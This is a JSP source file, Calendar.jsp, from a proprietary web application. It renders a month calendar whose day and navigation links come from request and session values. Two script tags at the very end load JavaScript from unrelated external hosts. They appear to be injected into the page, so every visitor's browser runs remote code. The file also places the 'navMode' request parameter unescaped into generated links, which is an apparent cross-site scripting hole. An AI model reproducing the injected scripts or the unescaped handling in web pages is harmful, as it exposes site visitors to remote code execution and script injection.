<%
/*
 * @(#)Calendar.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  Calendar.jsp

  This class is reflecting logic calendar.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    18/12/2003
    @version          $Revision: 1.12.26.1 $ 
*/
%>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.calendar.bean.*" %>
<%@ page import="com.dcivision.framework.*" %>

<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/calendar" prefix="calendar" %>


<jsp:useBean id="session_container" scope="session" class="com.dcivision.framework.SessionContainer"/>
<style>

.title
{
	color:#000000;
	background:#EEEEEE;
	margin: 12px
	font-family: "Fixedsys", "Helvetica", "sans-serif";
	font-size: 12px;
	text-align: "center"
}

.header
{
	font-family: "Arial", "Helvetica", "sans-serif";
	font-size: 13px;
	font-weight: bold;
	color:#000000;
	background:#DDDDDD;
	text-decoration: none;
}


.selected
{
	border-width: "1px";
	border-color: "red";
	border-style: "solid"
}

.link
{
	text-decoration: none;
}
</style>
<%
	try{
		GregorianCalendar gCal = new GregorianCalendar() ;
		int currentMonth = gCal.get(GregorianCalendar.MONTH) + 1 ;
		int currentDay = gCal.get(GregorianCalendar.DAY_OF_MONTH) ;
		int currentYear = gCal.get(GregorianCalendar.YEAR) ;
		int weekDay = gCal.get(GregorianCalendar.DAY_OF_WEEK) ;
		int startOfMonth = gCal.getActualMinimum(GregorianCalendar.DAY_OF_MONTH) ;
		int endOfMonth = gCal.getActualMaximum(GregorianCalendar.DAY_OF_MONTH) ;
		//Calendar selectedDate = Calendar.getInstance();
		String dateInLongFormat = TextUtility.formatDate(gCal.getTime(),"dd MMMM yyyy");

		int selectedDay = currentDay;
		int selectedMonth = currentMonth;
		int selectedYear = currentYear;

		if (session.getAttribute("CALENDAR_SELECTED_DATE")!=null){
			Calendar selectedDateInSession = (Calendar)session.getAttribute("CALENDAR_SELECTED_DATE");
			selectedDay = selectedDateInSession.get(Calendar.DAY_OF_MONTH);
			selectedMonth = selectedDateInSession.get(Calendar.MONTH)+1;
			selectedYear = selectedDateInSession.get(Calendar.YEAR);
		}

		/*if (request.getParameter("selectedDay")!=null)
			selectedDay = TextUtility.parseInteger(request.getParameter("selectedDay"));
		if (request.getParameter("selectedMonth")!=null)
			selectedMonth = TextUtility.parseInteger(request.getParameter("selectedMonth"));
		if (request.getParameter("selectedYear")!=null)
			selectedYear = TextUtility.parseInteger(request.getParameter("selectedYear"));*/

		// 	This fragment of code handle the case if the selectedDate is larger than
		//	what it supposed to be,like '32'.
		Calendar selectedDate = Calendar.getInstance();
		selectedDate.set(selectedYear,selectedMonth-1,selectedDay);
		selectedDay = selectedDate.get(Calendar.DAY_OF_MONTH);
		selectedMonth = selectedDate.get(Calendar.MONTH)+1;
		selectedYear = selectedDate.get(Calendar.YEAR);

		//String target = request.getParameter("targetAction");
    String navMode = CalendarRecord.NAV_MODE_LIST_BY_DAY;;
    	if (request.getParameter("navMode") != null) {
			navMode = (String)request.getParameter("navMode");
		} else {
      	navMode = (String)request.getAttribute("navMode");
    }

		String defaultTarget = "calendar/ListCalendar.do?navMode="+navMode;

		//set some selected values
		String strSelectedDate = TextUtility.formatDate(selectedDate.getTime(),"yyyy-MM-dd");

		request.setAttribute("strSelectedDate",strSelectedDate);
		//String navMode = CalendarRecord.NAV_MODE_LIST_BY_DAY;

	

		//target = "calendar/ListCalendar.do?navMode="+navMode+"&";
%>
<table border="0" cellspacing="0" cellpadding="0" bgcolor="#666666" width="100%">
  <tr>
    <td>
      <table border='0' cellspacing='1' cellpadding='0' width="100%">
        <tr>
          <td bgcolor="#FFFFFF"> 
          	<calendar:Calendar month="<%=selectedMonth%>" year="<%=selectedYear%>" 
          	locale="<%=session_container.getSessionLocale()%>" header="true">
            <calendar:setTitleStyle>font-size:10pt; color:#FF0000</calendar:setTitleStyle>
            <calendar:setHeaderStyle>color:#0000FF; text-decoration:none</calendar:setHeaderStyle>
						<%
							for (int i=1;i<32;i++){
   	 	       		//if (i!=selectedDay){
 	 	        %>
                  <calendar:setLink day="<%=i%>">
                  <%=request.getContextPath()%>/<%=defaultTarget%>&selectedDay=<%=i%>&selectedMonth=<%=selectedMonth%>&selectedYear=<%=selectedYear%>
                  </calendar:setLink>
						<%	//}
	            }
	          %>
            <calendar:setNextMonth><%=request.getContextPath()+"/"%><%=defaultTarget%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth+1%>&selectedYear=<%=selectedYear%>
            </calendar:setNextMonth>
            <calendar:setPrevMonth><%=request.getContextPath()+"/"%><%=defaultTarget%>&selectedDay=<%=selectedDay%>&selectedMonth=<%=selectedMonth-1%>&selectedYear=<%=selectedYear%>
            </calendar:setPrevMonth>
            <calendar:setHeaderClass>header</calendar:setHeaderClass> <calendar:setTitleClass>title</calendar:setTitleClass>
            <calendar:setLinkClass>link</calendar:setLinkClass>

						<calendar:setDateClass day="<%=selectedDay%>">selected</calendar:setDateClass>

            <calendar:setTarget>_self</calendar:setTarget> </calendar:Calendar>
          </td>
				</tr>
				<tr>
          <td align='center' bgcolor="#FFFFFF">
          	<a href='<%=request.getContextPath()+"/"%><%=defaultTarget%>&selectedDay=<%=currentDay%>&selectedMonth=<%=currentMonth%>&selectedYear=<%=currentYear%>'>
            <font color='blue'><bean:message key='calendar.columnheader.today'/></font>
            </a>&nbsp;&nbsp;<bean:message key='calendar.columnheader.is'/>&nbsp;&nbsp;
            <%=dateInLongFormat%>

          </td>
				</tr>

			</table>
		</td>
  </tr>
</table>
<%
	}catch(Exception ex) {
		out.println("err in Calendar="+ex);
	}

%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>